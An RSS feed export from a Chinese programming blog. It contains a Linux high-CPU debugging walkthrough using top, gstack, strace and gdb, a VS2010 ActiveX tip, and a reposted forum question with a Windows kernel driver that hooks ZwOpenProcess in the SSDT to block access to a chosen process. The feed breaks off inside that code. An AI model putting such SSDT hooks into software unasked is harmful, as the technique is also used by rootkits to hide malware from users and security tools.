﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-淡泊明志、宁静致远-随笔分类-C/C++</title><link>http://www.cnitblog.com/houcy/category/6983.html</link><description>A Diamond is just a piece of Coal that did well under Pressure.</description><language>zh-cn</language><lastBuildDate>Sun, 05 May 2013 12:44:19 GMT</lastBuildDate><pubDate>Sun, 05 May 2013 12:44:19 GMT</pubDate><ttl>60</ttl><item><title>Linux下high CPU分析心得</title><link>http://www.cnitblog.com/houcy/archive/2012/11/28/86801.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 28 Nov 2012 05:21:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2012/11/28/86801.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/86801.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2012/11/28/86801.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/86801.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/86801.html</trackback:ping><description><![CDATA[<!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:TrackMoves/>
  <w:TrackFormatting/>
  <w:PunctuationKerning/>
  <w:DrawingGridVerticalSpacing>7.8 磅</w:DrawingGridVerticalSpacing>
  <w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEvery>
  <w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery>
  <w:ValidateAgainstSchemas/>
  <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
  <w:IgnoreMixedContent>false</w:IgnoreMixedContent>
  <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
  <w:DoNotPromoteQF/>
  <w:LidThemeOther>EN-US</w:LidThemeOther>
  <w:LidThemeAsian>ZH-CN</w:LidThemeAsian>
  <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
  <w:Compatibility>
   <w:SpaceForUL/>
   <w:BalanceSingleByteDoubleByteWidth/>
   <w:DoNotLeaveBackslashAlone/>
   <w:ULTrailSpace/>
   <w:DoNotExpandShiftReturn/>
   <w:AdjustLineHeightInTable/>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:DontGrowAutofit/>
   <w:SplitPgBreakAndParaMark/>
   <w:DontVertAlignCellWithSp/>
   <w:DontBreakConstrainedForcedTables/>
   <w:DontVertAlignInTxbx/>
   <w:Word11KerningPairs/>
   <w:CachedColBalance/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
  <m:mathPr>
   <m:mathFont m:val="Cambria Math" />
   <m:brkBin m:val="before" />
   <m:brkBinSub m:val="&#45;-" />
   <m:smallFrac m:val="off" />
   <m:dispDef/>
   <m:lMargin m:val="0" />
   <m:rMargin m:val="0" />
   <m:defJc m:val="centerGroup" />
   <m:wrapIndent m:val="1440" />
   <m:intLim m:val="subSup" />
   <m:naryLim m:val="undOvr" />
  </m:mathPr></w:WordDocument>
</xml><![endif]--><br />1.用top命令查看哪个进程占用CPU高<br />gateway网关进程14094占用CPU高达891%，这个数值是进程内各个线程占用CPU的累加值。<br /><br />
<div><span style="font-family: Lucida Console">&nbsp; PID USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PR&nbsp; NI&nbsp; VIRT&nbsp; RES&nbsp; SHR S %CPU %MEM&nbsp;&nbsp;&nbsp; TIME+&nbsp; COMMAND&nbsp;&nbsp;&nbsp;&nbsp; <br /></span><span style="font-family: Lucida Console; color: red">14094 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15&nbsp;&nbsp; 0&nbsp; 315m&nbsp; 10m 7308 S </span><span style="font-family: Lucida Console; color: red">891%</span><span style="font-family: Lucida Console; color: red">&nbsp; 2.2&nbsp;&nbsp; 1:49.01 gateway</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br /><span style="font-family: Lucida Console">20642 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 17&nbsp;&nbsp; 0 17784 4148 2220 S&nbsp; 0.5&nbsp; 0.8&nbsp;&nbsp; 2:39.96 microdasys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</span><br /><span style="font-family: Lucida Console">&nbsp;1679 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18&nbsp;&nbsp; 0 10984 1856 1556 R&nbsp; 0.3&nbsp; 0.4&nbsp;&nbsp; 0:22.21 sshd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</span><br /><span style="font-family: Lucida Console">22563 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18&nbsp;&nbsp; 0&nbsp; 2424 1060&nbsp; 800 R&nbsp; 0.3&nbsp; 0.2&nbsp;&nbsp; 0:00.03 top&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</span><br /><span style="font-family: Lucida Console">&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18&nbsp;&nbsp; 0&nbsp; 2156&nbsp; 492&nbsp; 460 S&nbsp; 0.0&nbsp; 0.1&nbsp;&nbsp; 0:01.59 init</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div><br />2.用top -H -p pid命令查看进程内各个线程占用的CPU百分比<br /><br />#top -H -p 14094<br />top中可以看到有107个线程，但是下面9个线程占用CPU很高，下面以线程14086为主，分析其为何high CPU<br /><br />
<div>
<p><span style="font-family: Lucida Console">&nbsp; PID USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PR&nbsp; NI&nbsp; VIRT&nbsp; RES&nbsp; SHR S %CPU MEM&nbsp;&nbsp;&nbsp; TIME+&nbsp; COMMAND&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><strong><span style="font-family: Lucida Console; color: #003300">14086</span></strong><span style="font-family: Lucida Console"> root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp; <span style="font-family: Lucida Console; color: red">101</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 21:35.46 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14087 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0 &nbsp;922m 914m 538m R&nbsp; <span style="font-family: Lucida Console; color: red">101</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 10:50.22 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14081 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m S&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">99</span></span><span style="font-family: Lucida Console"> 10.0&nbsp;&nbsp; 8:57.36 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14082 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">99</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 11:51.92 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14089 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">99</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 21:21.77 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14092 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">99</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 19:55.47 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14094 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">99</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 21:02.21 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>
<p><span style="font-family: Lucida Console">14083 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp; 922m 914m 538m R&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">97</span></span><span style="font-family: Lucida Console"> 10.0&nbsp; 21:32.39 gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p><span style="font-family: Lucida Console; font-size: 11pt">14088&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25&nbsp;&nbsp; 0&nbsp;&nbsp; 922m 914m&nbsp; 538m R&nbsp;&nbsp;&nbsp; <span style="font-family: Lucida Console; color: red">97</span></span><span style="font-family: Lucida Console; font-size: 11pt"> 10.0&nbsp;&nbsp; 11:23.12&nbsp; gateway </span></div><br />3.使用gstack命令查看进程中各线程的函数调用栈<br />#gstack 14094 &gt; gstack.log<br />在gstack.log中查找线程ID14086，由于函数栈会暴露函数细节，因此只显示了两个函数桢，线程ID14086对应线程号是37<br /><br />
<div>Thread <span style="color: #800000">37</span> (Thread 0x4696ab90 (LWP <span style="color: #800000">14086</span>)):<br />#0&nbsp; 0x40000410 in __kernel_vsyscall ()<br />#1&nbsp; 0x40241f33 in poll () from /lib/i686/nosegneg/libc.so.6</div><br />4.使用gcore命令转存进程映像及内存上下文<br /><br />#gcore 14094<br />该命令生成core文件core.14094<br /><br /><br />5。用strace命令查看系统调用和花费的时间<br />#strace -T -r -c -p 14094<br /><br />-c参数显示统计信息，去掉此参数可以查看每个系统调用话费的时间及返回值。<br /><br />
<div>
<p><span style="font-family: 'Courier New'; color: black">% time&nbsp;&nbsp;&nbsp;&nbsp; seconds&nbsp; usecs/call&nbsp;&nbsp;&nbsp;&nbsp; calls&nbsp;&nbsp;&nbsp; errors &nbsp;&nbsp;&nbsp; </span>&nbsp;&nbsp; <span style="font-family: 'Courier New'; color: black">syscall</span></p>
<p><span style="font-family: 'Courier New'; color: black">------ ----------- ----------- --------- --------- ----------------------------</span></p>
<p><span style="font-family: 'Courier New'; color: #c00000">99.99&nbsp;&nbsp; 22.683879&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3385&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6702&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span>&nbsp;&nbsp; &nbsp;&nbsp; <span style="font-family: 'Courier New'; color: #c00000">poll</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.001132&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6702&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span>&nbsp;&nbsp; &nbsp;&nbsp; <span style="font-family: 'Courier New'; color: black">gettimeofday</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000127&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 208&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 208 &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; accept</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000022&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; time</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stat64</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; clock_gettime</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; send</span></p>
<p><span style="font-family: 'Courier New'; color: black">&nbsp; 0.00&nbsp;&nbsp;&nbsp; 0.000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; recvfrom</span></p>
<p><span style="font-family: 'Courier New'; color: black">------ ----------- ----------- --------- --------- ------------------------------</span></p>
<p><span style="font-family: 'Courier New'; color: black">100.00&nbsp;&nbsp; 22.685160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13652&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 218 total</span></p></div><br /><br /><br />
<div>6.用gdb调试core文件，并线程切换到37号线程<br />gcore和实际的core dump时产生的core文件几乎一样，只是不能用gdb进行某些动态调试<br /><br />
<div>(gdb) gdb gateway core.14094 <br />(gdb) thread 37<br />[Switching to thread 37 (Thread 0x4696ab90 (LWP 14086))]#0&nbsp; 0x40000410 in __kernel_vsyscall ()<br />(gdb) where<br />#0&nbsp; 0x40000410 in __kernel_vsyscall ()<br />#1&nbsp; 0x40241f33 in poll () from /lib/i686/nosegneg/libc.so.6</div><br />可以根据详细的函数栈进行gdb调试，打印一些变量值，并结合源代码分析为何会poll调用占用很高的CPU。<br />因为代码涉及到公司产权，顾不在此做详细分析，需要明白的是分析的流程和使用的命令。<br /><br />流程为：进程ID-&gt;线程ID-&gt;线程函数调用栈-&gt;函数耗时和调用统计-&gt;源代码分析</div><img src ="http://www.cnitblog.com/houcy/aggbug/86801.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2012-11-28 13:21 <a href="http://www.cnitblog.com/houcy/archive/2012/11/28/86801.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VS2010中添加ActiveX控件</title><link>http://www.cnitblog.com/houcy/archive/2011/07/14/74693.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Thu, 14 Jul 2011 10:25:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/07/14/74693.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/74693.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/07/14/74693.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/74693.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/74693.html</trackback:ping><description><![CDATA[<p><span lang="EN-US">VC++ 6.0</span><span>中，可以使用</span><span lang="EN-US">ClassWizard</span><span>添加</span><span lang="EN-US">ActiveX</span><span>控件，而</span><span lang="EN-US">VS2005</span><span>以后的版本没有。如果要添加</span><span lang="EN-US">ActiveX</span><span>对应的类，可以&#8220;项目&#8221;&#8594;&#8220;添加类&#8221;&#8594;&#8220;</span><span lang="EN-US">ActiveX</span><span>控件中的</span><span lang="EN-US">MFC</span><span>类&#8221;，打开&#8220;从</span><span lang="EN-US">ActiveX</span><span>控件添加类向导&#8221;对话框。</span></p>
<p>可以选择从注册表添加控件，需要先注册控件；也可选择从文件添加控件。</p>
<p>接口类型选择添加所有接口。</p>
<p><img height="524" alt="" src="http://www.cnitblog.com/images/cnitblog_com/houcy/ax.JPG" width="615" border="0" longdesc="" /></p><img src ="http://www.cnitblog.com/houcy/aggbug/74693.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-07-14 18:25 <a href="http://www.cnitblog.com/houcy/archive/2011/07/14/74693.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hooking ZwOpenProcess To Protect Processes </title><link>http://www.cnitblog.com/houcy/archive/2011/03/09/73043.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 09 Mar 2011 06:37:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/09/73043.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73043.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/09/73043.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73043.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73043.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/36942-hooking-zwopenprocess-to-protect-processes/">http://www.rohitab.com/discuss/topic/36942-hooking-zwopenprocess-to-protect-processes/</a><br><br>I have coded this hook to protect processes by returning a STATUS_ACCESS_DENIED. I have tried to make a function that will get the PID from the process "Server.exe" but it did'nt work. I'm asking for your help here at Rohitab.<br><br>#include "ntddk.h"</p>
<p>// Hooking ZwOpenProcess to protect a process by returning a STATUS_ACCESS_DENIED </p>
<p>// The PID of my process<br>int PID = 1234; // I want to get the PID from the process "SERVER.EXE"</p>
<p>NTSYSAPI<br>NTSTATUS<br>NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);</p>
<p>typedef NTSTATUS (*ZWOPENPROCESS)(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);</p>
<p>// OldZwOpenProcess points to the original function<br>ZWOPENPROCESS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OldZwOpenProcess;</p>
<p>// This is my hook function that will replace the kernel function ZwOpenProcess in the System Service Dispatch Table (SSDT)<br>NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL)<br>{<br>HANDLE ProcessId; <br>__try<br>{<br>ProcessId = ClientId-&gt;UniqueProcess;<br>}<br>__except(EXCEPTION_EXECUTE_HANDLER) <br>{<br>return STATUS_INVALID_PARAMETER;<br>}<br>if (ProcessId == (HANDLE)PID) // Check if the PID matches my protected process<br>{<br>return STATUS_ACCESS_DENIED; // Return a Acess Denied <br>}<br>else<br>return OldZwOpenProcess(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); // Return the original ZwOpenProcess<br>}</p>
